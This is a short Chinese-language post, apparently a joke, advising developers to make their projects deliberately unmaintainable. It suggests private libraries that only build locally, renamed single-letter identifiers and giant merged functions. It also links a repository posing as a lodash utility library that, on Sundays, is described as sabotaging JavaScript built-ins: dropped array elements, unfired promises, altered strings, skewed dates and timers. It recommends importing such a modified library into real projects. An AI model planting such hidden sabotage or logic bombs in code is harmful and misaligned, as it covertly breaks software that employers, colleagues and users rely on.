单独写一些库,在引用到项目里面,在编译的时候只有你的本地环境可以编译,其他编译互联网下载不到
push的时候稍微改点别的变量函数名,单字母名称这些,把函数全合并到一起,写一个几千行的函数,多用继承多态,逐渐形成
山代码
https://github.com/wll8/lodash-utils 此代码仅在周日的时候执行以下逻辑:
Array.includes
应用的数组长度可以被 7 整除时,永远返回 false。Array.map
有 5% 概率会丢失最后一个元素。Array.filter
的结果有 5% 的概率丢失最后一个元素。Array.forEach
会卡死一段时间。setTimeout
总是会比预期时间慢 1 秒才触发。Promise.then
有 10% 概率不会触发。JSON.stringify
有 30% 概率会把I
(大写字母 I) 变成l
(小写字母 L)。Date.getTime ()
的结果总是会慢一个小时。localStorage.getItem
有 5% 几率返回空字符串。Math.random ()
的取值范围改为0
到1.1
引用自己修改后的库